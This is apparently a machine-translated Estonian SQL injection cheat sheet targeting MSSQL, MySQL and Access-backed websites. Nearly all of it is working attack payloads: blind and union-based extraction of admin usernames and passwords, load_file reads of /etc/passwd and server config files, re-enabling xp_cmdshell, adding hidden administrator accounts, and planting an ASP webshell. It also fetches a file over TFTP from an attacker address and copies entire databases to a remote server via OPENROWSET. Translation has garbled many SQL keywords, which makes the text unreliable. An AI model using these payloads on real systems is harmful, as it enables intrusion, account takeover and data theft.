MSSQL ristandmebaasi päringud (lõhnav toit!) Dark)
Pigista välja iga viimane tilk MS SQL-ist
SQL-lause viiteid ja kirjekomplekti objekte selgitatakse üksikasjalikult
SQL Serveris salvestatud protseduuride kohta
Loo webshell mssql varukoopiaga
SQL_Injection edasijõudnud rakendused
Rist-site SQL süstimine (laokai)
Imelik SQL süstimine (AMANL)
Täiustatud SQL-i süstimine SQL Serveri rakendustes
Kuidas kasutada SQL-i süstimist kataloogide läbimiseks
SQL süstimise tehnikate juhend (tõlkija: demonalex)
Mõned rünnakud SQL-andmebaasidele
SQL süstimise rünnaku tehnika (JSW)
SQL_Injection Täiustatud rakendused (APACHY)
Ebatavalised SQL Injectioni meetodid (Guilin Veteran)
Varu kest
Räägi php+mysql süstimise lause struktuurist (Heyhehehehe·≯Super· Hei)
Täiustatud SQL süstimine MySQL-iga (angel)
L'injection (My)SQL PHP kaudu
Oracle SQL Language
SQL käsitsi süstimise entsüklopeedia
Eeltingimused nõuavad tööriistu: SQL Query Analyzer ja SqlExec Sunx Version ============================================================================================== 1. Määra, kas süstimiskoht on olemas ; ja 1=1 ning 1=2 2. Arvan, et tabeli nimi pole midagi muud kui administraatori administraatori, kasutaja parooli jne: ja 0<>(vali arv(*) *-st) ja 0<>(select count(*) administraatorilt) — Määra, kas administraatori tabel eksisteerib 3. Arva ära kontode arv. Kui kohtad 0< naase õigele lehele 1< too vealeht, mis näitab, et kontode arv on 1 ja 0<(vali loend(*) administraatorilt) ja 1<(vali loend(*) administraatorilt) 4. Arva välja nimi Lisa välja nimi, mida mõtleme len( ) sulgudes. ja 1=(vali count(*) administraatorist, kus len(*)>0)– ja 1=(vali count(*) administraatorist, kus len(kasutaja välja nimi)>0) ja 1=(vali count(*) administraatorilt, kus len(_blank>parooli välja nimi)>0) 5. Arva iga välja pikkus Arva, et pikkus on teisendada >0, kuni õige lehekülg tagastatakse ja 1=(vali count(*) administ, kus len(*)>0) ja 1=(vali count(*) administraatorilt, kus len(name)>6) viga ja 1=(vali count(*) administraatorist, kus len(name)>5) Õige pikkus on 6 ja 1=(vali count(*) administraatorilt, kus len(name)=6) on õige ja 1=(vali count(*) administraatorilt, kus len(password)>11) on õige ja 1=(vali count(*) administraatorilt, kus len(password)>12) vea pikkus on 12 ja 1=(vali count(*) administraatorist, kus len(password)=12) on õige 6. Arva ära tegelased ja 1=(vali loend(*) administraatorilt, kus vasak(nimi,1)=a) — Arva ära kasutaja konto esimene number ja 1=(vali count(*) administraatorilt, kus left(name,2)=ab)—Arva kasutaja konto teine number Lihtsalt lisa üks tähemärk korraga, et arvata, arva piisavalt palju numbreid, kui just arvasid, ja konto number tuleb välja (1) Arva laua nimi ära
Kasutatud laused: ja eksisteerib (vali * tabeli nimest)
Näiteks: ja eksisteerib (vali * administraatorilt)
Kui leht kajab õigesti, tähendab see, et tabelinimi, mille me siin arvasime, on õige, ja kui leht on vale, siis tähendab see, et siin kirjutatud tabeli nimi on vale
, siis muuda tabeli nime ja jätka arvamist, kuni arvad.
Üldiselt kasutatakse sageli tabelinimesid: admin, manage, user või pane see tööriista käivitamisse (2) Arva välja välja
Kasutatud laused: ja eksisteerib (vali välja nimi tabeli nimest)
Näiteks: ja eksisteerib (vali kasutajanimi administraatorilt)
Siin, eeldades, et administraatori tabel on see, mida ma õigesti arvasin, siis tahan kindlaks teha, kas kasutajanime väli eksisteerib, pean kasutama seda lauset, kui leht
Kui näo kaja on õige, tähendab see, et välja nimi, mille me siin arvasime, on õige, ja kui lehekülg on vale, siis tähendab see, et välja nimi, mille siia kirjutasime, on vale
, siis muuda välja nimi ja jätka arvamist, kuni arvad.
Üldiselt on levinud väljanimed kasutajanimed, parool, kasutaja, pass, nimi, pass, pwd, usr, psd ja muud väljad (3) järjestus järgmiselt
Järjekord järgi on saada selle lehe väljade arvu summa, valmistudes järgmiseks ühiseks päringuks (4) Union Select
1. Kui toetad ühist päringut, leia kuvabitt http://www.xxx.com/product_show.asp?id=1 ja 1=2 ühenduse valik
1,2,3,4,5,6,7,8,9,10,11 Oletame, et ekraani bitid on 5,6. Järgmisena peame asendama siin ainult administraatori kasutajanime ja parooli vastavad väljanimed kuvabiti asukohaga
http://www.xxx.com/product_show.asp?id=1 and 1=2 union select
1,2,3,4,admin_name,admin_pwd,7,8,9,10,11 administraatorilt leidis tausta sisselogimise 2. Kui ühist päringut ei toetata Administraatori kasutajanime ja parooli ei saa ilma ühise päringuta – kasutades Ascii sõnasõnalist dekodeerimist Kaks Kasuta järjestust järgi, et hinnata tabelis olevate bittide arvu, ja kui see ei tööta, kasuta Union selecti, et need ükshaaval paigutada, siin eeldame 8 bitti Kolm Kasuta ühist päringut, et määrata kuvabitid Neli Kasuta kuvabitti, et leida andmebaasi nimi, andmebaasi versioon, 5.0 või uuem versioon saab süstida
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database
(),0x5c,kasutaja(),0x5c, version()),8 Viis Andmebaasi nimega saad hakata saama tabeli nime skeemi = ja seejärel andmebaasi nime HEX-väärtust ning arvata ära tabeli nime
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT
+table_name),8 +from+information_schema.columns+where+ table_schema=0x666C6965725F6462617365 Kuus Analüüsitud tabeli nimi määrab administraatori tabeli nime=tabeli nime HEX-väärtuse ning arvab tabeli väljad ära http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(ERILINE
+column_name),8+ from+information_schema.columns+where+table_name=0x7075625F7765626D6173746572 Seitse Pärast väljade saamist administraatori tabelis saame välja nende sisu http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(ERILINE
+kasutajanimi, 0x5f,userpwd),8+from+pub_webmaster Kaheksa Tööriist skaneerib tausta: logi sisse, et Trooja üles laadida pärast selle leidmist, ja kui sa ei leia robots.txt faili, millele pääsed ligi Üheksa Kui sa ei leia tausta, paljastatakse MYSQL administraatori parool http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat
(kasutaja,parool),8+from+mysql.user Kümme Kui juhuslikult pääsed teele ligi, on tagasiside IIS6 404 vaikimisi leht, mis näitab, et veebisaidi server on: Windows+IIS6+php+MySql keskkond c:\\windows\\system32\\inetsrv\MetaBase.xml See tee saab veebilehe seadistusandmed. Konstruktiivsed väited http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file
(0x633A5C5C77696E646F77735C 5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8 Üksteist Analüüsi koodi ja leia taustaadress Esimeses etapis peame saama tabelis olevate väljade pikkuse Kasutatud väited: ja (vali tabeli nimest ülemine 1 objektiiv (välja nimi)>0 Nagu mida: ja (vali administraatorilt top 1 objektiiv (admin_name)>0 Leht kuvatakse tavapäraselt, välja pikkus admin_name on suurem kui 0, ja ma esitan:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 len(admin_name) from admin)>10 Lehel kuvatakse viga, mis näitab, et väli on vahemikus 0 kuni 10 ning pikkus on 5 dihhotoomia järgi Sama meetodiga määran administraatori parooli välja pikkuse, saan pikkuseks 16 2. samm Nüüd liigume teise sammu juurde, võtame väljal kindla tähemärgi ja võtame selle märgi ASCII-kood, mida kasutatakse
Avaldus: ja (vali top 1 asc(mid(väljanimi, N,1)) tabeli nimest)>0 Vaatan seda lauset eraldi, kõigepealt kõige sisemist mid(kasutajanimi, 1,1) funktsiooni, mis on admin_name välja N esimene märk
märgib, et esimesed paar märki tuleb pealt kuulata, Siis välimine asc() funktsioon, mis teisendab keskfunktsiooni poolt kinni püütud märgid ASCII-koodiks, kõige ülemine 1, esindab esimese koha tagastusvälja
Rekord siis, Lõpus olev ">0" on selleks, et võrrelda konverteeritud ASCII-koodi selle numbriga ja lõpuks saada pealtkuulamine, muutes pidevalt viimast väärtust
Uuri selle tegelase täpsemat infot ASCII kood Esitamine:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)>30 Leht kuvatakse tavapäraselt, mis näitab, et selle märgi ASCII kood on suurem kui 30. Esitamine:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)>90 Leht kuvatakse normaalselt, mis näitab, et selle märgi ASCII kood on suurem kui 90.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)=97 ASCII kood, mille ma selle tegelase jaoks sain, on 97 Võrdle ASCII tabelit: Võib järeldada, et esimene märk on "a". Seejärel hindan teise tähemärgi ASCII koodi.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,2,1)) from
admin)>90 Leht kuvatakse normaalselt, mis näitab, et tähemärgi ASCII kood on suurem kui 90 ning viimane väärtus on alati muudetud Sama meetod andis administraatori parooli ja tulemus oli järgmine:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_pass,1,1)) from
admin)=52 ja 1=(vali ülemine 1 loend(*) Administ, kus Asc(mid(pass,5,1))=51) – See päringulause suudab ära arvata hiina kasutaja ja _blank> parooli. Lihtsalt asenda järgmised numbrid Hiina ASSIC koodiga
Muuda tegelasteks.
Grupi users.id järgi, kus 1=1–www.myhack58.com Grupeeri users.id järgi: users.username, users.password, users.privs 1=1– ; sisesta kasutaja väärtustesse (666, ründaja, foobar, 0xffff )–
UNION Select TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA. VEERUD Kus
TABLE_blank>_NAME=logintable- UNION Select TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA. VEERUD Kus
TABLE_blank>_NAME=logintable Kus COLUMN_blank>_NAME EI OLE SEES (login_blank>_id)- UNION Select TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA. VEERUD Kus
TABLE_blank>_NAME=logintable Kus COLUMN_blank>_NAME EI OLE SEES
(login_blank>_id,login_blank>_name)- UNION Select TOP 1 login_blank>_name logintable'ist- UNION Vali TOP 1 parool LOGINTABLE'ist, kus login_blank>_name=Rahul– Vaata _blank> serveri plaastrit = vale SP4 patch must riba turvavõrk ja 1=(vali @@VERSION)–
Vaata _blank> andmebaasi ühenduse konto õigusi ja see tagastab normaalset, tõestades, et see on _blank> serveri rolli süsteemiadministraatori õigus. ja 1=(Vali IS_blank>_SRVROLEMEMBER(süsteemiadministraator))–
Määra, et andmebaasi konto _blank> ühendatud. (Kasuta SA kontot, et ühendada ja tagastada normaalne = tõestada, et ühendatud konto on SA) ja sa=(Vali System_blank>_user)– ja user_blank>_name()=dbo– ja 0<>(vali user_blank>_name()–
Vaata, kas xp_blank>_cmdshell kustutab ja 1=(Vali count(*) FROM master.dbo.sysobjects Kus xtype = X JA name = xp_blank>_cmdshell)
–
xp_blank>_cmdshell kustutatakse, taastatakse ja toetab absoluutset tee taastamist ; JUHT master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll– ; EXECUTIVE master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll– ============================== andmebaasi õigus on avatud veebilehe füüsilisele teekoodile
========================================================================== 1、drop table [jm_tmp]; loo tabel [jm_tmp](väärtus navrchar(4000) null,data nvarchar(4000)
null) -- Loo tabel
2、 kustuta [jm_tmp]; Lisa [jm_tmp] Täitev master.dbo.xp_regread
'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'--
Sisesta saidi kataloog tabeliväljale
3、and (vali top 1 cast([data] kui nvarchar(4000) char(124) [jm_tmp] order by [data]
desc)=0 '//Paljastatud väli
4. Eemalda laud [jm_tmp] -- kustuta see tabel. et käsk saaks shelli kätte
/c for /r e:\ %i in ("<%eval request("cmd")%>") do @echo %i >>d:\Muud jaamateed ======================load_file() Sageli kasutatav tundlik info =========================================== 1、 replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32)) Ülaltoodud kaks on PHP-faili vaatamiseks, mis kuvab koodi täielikult. On olukordi, kus mõningaid märke ei asendata, näiteks "<" asemel "space", mis naaseb
Veebileht. Ja koodi ei saa vaadata.
3. load_file(char(47)) võib loetleda FreeBSD ja Sunos süsteemide juurkataloogi
4. Vaata linuxi APACHE virtuaalset hosti konfiguratsioonifaili /etc/httpd/conf/httpd.conf või /usr/local/apche/conf/httpd.conf
5. C:\Program Files\Apache Group\Apache\conf\httpd.conf või C:\apache\conf\httpd.conf WINDOWSi vaatamiseks
System Apache fail
6. c:/Resin-3.0.14/conf/resin.conf Vaata jsp poolt arendatud veebisaidi vaigufaili konfiguratsiooniinfot.
7. c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf, et vaadata JSP virtuaalset hosti, mis on Linuxi süsteemis seadistatud
8、d:\APACHE\Apache2\conf\httpd.conf
9、C:\Program Files\mysql\my.ini
10、.. /themes/darkblue_orange/layout.inc.php phpmyadmin plahvatustee
11. C:\Windows\system32\inetsrv\MetaBase.xml Vaata IIS-i virtuaalhosti konfiguratsioonifaili
12. /usr/local/resin-3.0.22/conf/resin.conf, et vaadata RESIN konfiguratsioonifaili 3.0.22 jaoks
13. /usr/local/resin-pro-3.0.22/conf/resin.conf Sama mis eespool
14. /usr/local/app/apache2/conf/extratpd-vhosts.conf APASHE virtuaalne host
15. /etc/sysconfig/iptables sõltub tulemüüri poliitikast
16. /usr/local/app/php5 b/php.ini PHP ekvivalentsed seaded
17. /etc/my.cnf MYSQL konfiguratsioonifail
18. /etc/redhat-release süsteemiversioon Red Hatist
19 、C:\mysql\data\mysql\user. MYD eksisteerib MYSQL süsteemi kasutajaparoolis
20. /etc/sysconfig/network-scrip{filter}ts/ifcfg-eth0 IP vaatamiseks.
21. /usr/local/app/php5 b/php.ini //PHP-ga seotud seaded
22. /usr/local/app/apache2/conf/extratpd-vhosts.conf // virtuaalse veebilehe seaded
23、c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
24、c:\windows\my.ini
25. /etc/issue kuvab Linuxi tuuma levitusinfot
26、/etc/ftpuser
27. Kontrolli operatsioonilogifaili LINUXi user.bash_history või .bash_profile alt
28、/etc/ssh/ssh_config
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/etc/mail/access
/etc/my.cnf
/var/run/utmp
/var/log/wtmp .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/error_log .. /apache/logid/error.log .. /apache/logs/access.log .. /.. /apache/logid/error.log .. /.. /apache/logs/access.log .. /.. /.. /apache/logid/error.log .. /.. /.. /apache/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/error_log
/var/log/httpd/access_log
/var/log/httpd/error_log .. /apache/logid/error.log .. /apache/logs/access.log .. /.. /apache/logid/error.log .. /.. /apache/logs/access.log .. /.. /.. /apache/logid/error.log .. /.. /.. /apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log ======================================================== Katseta ise reverse PING-i ; kasuta masterit; deklareerida @s int; exec sp_blank>_oacreate "wscrip{filter}t.shell", @s välja; tegevjuht
sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1"; –
Lisa konto ;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add–
Loo virtuaalne kataloogi E-ketas: ; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "vaikimisi veebileht" -v "e","e:\"–
Ligipääsu atribuudid: (kirjutades webshellile) declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse
Eriline _blank> trikk teegi lõhkumiseks: :%5c=\ või muuda %5 / ja \ abil commit ja 0<>(vali newtable'ist top 1 rajad)–
Hangi andmebaasi nimi (1 kuni 5 on süsteemi ID-d ja saad neid hinnata üle 6) ja 1=(vali nimi master.dbo.sysdatabases, kus dbid=7)– ja 0<>(vali count(*) master.dbo.sysdatabases, kus name>1 ja dbid=6) Esita dbid kordamööda = 7,8,9.... Leia rohkem _blank> andmebaasi nimesid
ja 0<>(vali top 1 nimi bbs.dbo.sysobjects'ist, kus xtype=U) tungivad tabelisse, eeldades administraatorit ja 0<>(vali bbs.dbo.sysobjectsist top 1 nimi, kus xtype=u ja nimi ei ole (Admin)).
Teised lauad. ja 0<>(vali count(*) bbs.dbo.sysobjects'ist, kus xtype=you ja name=admin ja uid>(str(id))) eeldatakse, et UID numbriline väärtus on 18779569 uid=id ja 0<>(vali bbs.dbo.syscolumns top 1 nimi, kus id=18779569) saab admin-välja, false
Seadistatud user_blank>_id ja 0<>(vali bbs.dbo.syscolumnsist top 1 nimi, kus id=18779569 ja nimi ei ole (id,...)) et paljastada teisi välju ja 0<(vali user_blank>_id BBS.dbo.administ, kus kasutajanimi>1) kasutajanimi saamiseks Omakorda saad _blank> parooli。。。。。 Oletame, et on väljad nagu user_blank>_id kasutajanimi, parool jne
ja 0<>(vali count(*) master.dbo.sysdatabases, kus name>1 ja dbid=6) ja 0<>(vali bbs.dbo.sysobjects'ist top 1 nimi, kus xtype=U), et saada tabeli nimi ja 0<>(vali top 1 nimi bbs.dbo.sysobjects hulgast, kus xtype=u ja nimi ei ole in(Aadress)) ja 0<>(vali count(*) bbs.dbo.sysobjects'ist, kus xtype=u ja name=admin ja uid>(str(id))))
Määra id-väärtus ja 0<>(vali BBS.dbo.syscolumnsist top 1 nimi, kus id=773577794) kõik väljad
?id=-1 ametiühing vali 1,2,3,4,5,6,7,8,9,10,11,12,13,* administraatorilt ?id=-1 Union Select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 administraatorilt (ühendus, ligipääs on samuti lihtne kasutada)
Hangi WEB tee ; loo tabel [dbo]. [vahetus] ([swappass][char](255)); – ja (vali swapist top 1 swappass)=1– ; Loo TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) deklareeri @test varchar(20) exec
Meister.. xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SÜSTEEM
\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, values=@test
VÄLJUND sisesta teed(tee) väärtused(@test)– ; kasuta KU1; – ; loo tabel cmd (str pilt); – Loo pilditüübi tabel cmd 1. xp_cmdshell laiendusprotsessi eemaldamiseks kasutatakse järgmist väidet:
kui eksisteerib (vali * dbo.sysobjectsist, kus id=object_id(N'[dbo].[ xpcmdshell]') ja
OBJECTPROPERTY(id,N'IsExtendedProc')=1) tegevjuht sp_dropextendedproc N'[dbo]. [xp_cmdshell]'
2. xp_cmdshell laiendusprotsessi lisamiseks kasutatakse järgmist lauset:
(1) SQL päringuanalüsaator
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
(2) Esmalt täida SqlExec Sunx versiooni vorminduse valikus %s ja sisesta see CMD valikusse
sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
eemalda
sp_dropextendedproc 'xp_cmdshell'
(3)MSSQL2000
sp_addextendedproc 'xp_cmdshell', 'xplog70.dll' On xp_blank>_cmdshell testimisprotsesse: ; Täitevmeister.. xp_blank>_cmdshell direktor ; tegevjuht master.dbo.sp_blank>_addlogin jiaoniang$; – Lisa SQL-kontod ; täitevjuht master.dbo.sp_blank>_password null, jiaoniang$, 1866574; – ; tegevjuht master.dbo.sp_blank>_addsrvrolemember jiaoniang$ süsteemiadministraator; – ; Exec master.dbo.xp_blank>_cmdshell netikasutaja jiaoniang$ 1866574 /workstations:* /times:all
/passwordchg:yes /passwordreq:yes /active:yes /add;– ; Exec master.dbo.xp_blank>_cmdshell net localgroup administraatorid jiaoniang$ /add; – Täitevmeister.. xp_blank>_servicecontrol alustada, planeeri teenuse _blank> alustamiseks Täitevmeister.. xp_blank>_servicecontrol start, server ; DECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add ;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add ; Täitevmeister.. xp_blank>_cmdshell tftp -i youip get file.exe – Laadi faile üles TFTP-ga
; deklareeri @a sysname komplekt @a=xp_blank>_+cmdshell exec @a dir c:\ ; Declare @a sysname set @a=XP+_blank>_cm'+'dshell exec @a dir c:\ ; deklareerida @a; komplekt @a=db_blank>_name(); varundusandmebaas @a disk=sinu IP Sinu jagatud kataloog bak.dat Kui piiratud, siis jah. vali * openrowset(_blank>sqloledb,server; sa; ,vali OK! tegevjuht
master.dbo.sp_blank>_addlogin hax)
Päringu struktuur: Vali * FROM uudistest Kus id=... JA teema=... JA ..... adminand 1=(vali count(*) [kasutaja] hulgast, kus kasutajanimi=ohver ja right(left(userpass,01),1)=1)
ja kasutajapassi <> vali 123; – ; kasuta masterit; – :a või nimi nagu fff%; – Näitab kasutajat nimega ffff. ja 1<>(vali loend (e-post) [kasutajalt]); – ; uuenda [kasutajad] sea email=(vali sysobjects'ist top 1 nimi, kus xtype=u ja status>0) kus
nimi=ffff; – ; Uuenda [kasutajad] sea email=(vali sysobjects'ist top 1 id, kus xtype=you ja name=ad) kus
nimi=ffff; – ; Uuenda [kasutajad] seadista email=(vali sysobjects'ist top 1 nimi, kus xtype=you ja id>581577110)
kus nimi=ffff; – ; uuenda [kasutajad] seadista email=(vali paroolist top 1 count(ID)), kus nimi=ffff; – ; uuenda [kasutajad] seadista email=(vali paroolist top 1 PWD, kus ID=2) kus nimi=ffff; – ; uuenda [kasutajad] sea e-post=(vali paroolist ülemine 1 nimi, kus id=2) kus nimi = ffff; – Ülaltoodud väide on võtta esimene kasutajatabel _blank> andmebaasist ja panna tabeli nimi ffff kasutaja e-posti väljale. Vaadates ffffi kasutajaprofiili, saad esimese tabeli nimega AD Seejärel hangi selle tabeli ID vastavalt tabeli nimele, et saada teise tabeli nimi
lisa kasutajate väärtused(666, char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73),
char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), 0xffff)– sisesta kasutaja väärtustesse (667,123,123,0xffff)– sisesta kasutaja väärtused (123, admin–, parool, 0xffff)– ; ja kasutaja>0 ; ja (vali arvu(*) sysobjectsist)>0 ; ja (vali count(*) mysysobjectsist)>0 // access_blank> andmebaasi jaoks
Loetle andmetabeli nimi ; uuenda AAA seadi AAA=(vali sysobjects'ist top 1 nimi, kus xtype=U ja status>0); – Siin uuendatakse esimese tabeli nimi AAA väljale. Loe esimest tabelit ja teist tabelit saab lugeda nii (lisa ja nimi tingimuse järel<> just saadud tabeli nimi). ; Uuenda AAA seadistust aaa=(vali sysobjects'ist top 1 nimi, kus xtype=U ja status>0 ning
nimi<>hääletus); – Siis id=1552 ja eksisteerib (vali * aaa-st, kus aaa>5) Loe teine tabel ette ja loe see ükshaaval, kuni enam pole. Lugemisväli näeb välja selline: ; Uuenda AAA komplekti AAA=(vali top 1 col_blank>_name(object_blank>_id((tabeli nimi),1)); – Siis id=152 ja eksisteerib (vali * aaa-st, kus aaa>5) saab vea ja saab välja nime ; Uuenda AAA set AAA=(vali top 1 col_blank>_name(object_blank>_id((tabeli nimi),2)); – Siis id=152 ja eksisteerib (vali * aaa-st, kus aaa>5) saab vea ja saab välja nime
[Hangi andmetabeli nimi] [Uuenda välja väärtus tabeli nimele ja loe välja selle välja väärtus, et saada tabeli nimi] Uuenda tabeli nime set field=(vali sysobjects'ist top 1 nimi, kus xtype=U ja status>0 [ ja nimi<>
Tabeli nimi, mille saad, leia üks pluss üks]) [kus tingimus] vali sysobjects'ist top 1 nimi, kus xtype=you ja
staatus>0 ja nimi puudub (tabel 1, tabel 2,...) Andmebaasi administraatori ja süsteemiadministraatori konto loomine _blank> _blank> haavatavuste süstimine SQLSERVERI kaudu [Praegune konto peab olema SYSADMIN grupp]
[Hangi andmetabeli välja nimi] [Uuenda välja väärtus välja nimeks ja loe välja selle välja väärtus, et saada välja nimi] Uuenda tabeli nime komplekt field=(vali top 1 col_blank>_name(object_blank>_id (andmetabeli nimi päringule), välja veerg
Näiteks: 1) [ kus tingimus]
IDS-i tuvastamise möödahiilimine [muutujate abil] ; deklareeri @a sysname komplekt @a=xp_blank>_+cmdshell exec @a dir c:\ ; Declare @a sysname set @a=XP+_blank>_cm'+'dshell exec @a dir c:\
1. Ava kaug-_blank> andmebaas Põhisüntaks vali * OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, vali * tabelist 1 ) Parameetrid: (1) OLEDB pakkuja nimi 2. Ühendusstringi parameeter võib olla ükskõik milline port, mida ühendada, näiteks vali * OPENROWSET(SQLOLEDB, uid=sa; pwd=123; Network=DBMSSOCN; Aadress=192.168.0.1,1433; ,
Vali * tabelist 3. Kopeeri kogu sihthosti _blank> andmebaas ja lisa kõik kaugtabelid kohalikku tabelisse.
Põhiline süntaks: sisesta OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, vali * tabelist 1) vali
* tabelist 2 See rea lause kopeerib kõik andmed sihthosti tabeli 2 tabelist kaug-_blank> andmebaasi tabelisse. Sobivad parandused praktilises kasutuses
Muuda ühendusstringi IP-aadressi ja porti nii, et see osutaks sinna, kus seda vaja on, näiteks: insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Aadress=192.168.0.1,1433; ,vali
* tabelist 1) vali * lauast 2 insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Aadress=192.168.0.1,1433; ,vali
* _blank>_sysdatabases) Vali * master.dbo.sysdatabases'ist insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Aadress=192.168.0.1,1433; ,vali
* _blank>_sysobjects) vali * user_blank>_database.dbo.sysobjects hulgast insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Aadress=192.168.0.1,1433; ,vali
* _blank>_syscolumns) vali * user_blank>_database.dbo.syscolumns hulgast Replikeeri _blank> andmebaasi: insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Aadress=192.168.0.1,1433; ,vali
* tabelist 1) vali * andmebaasist.. Tabel 1 insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Aadress=192.168.0.1,1433; ,vali
* tabelist 2) vali * andmebaasist.. Tabel 2
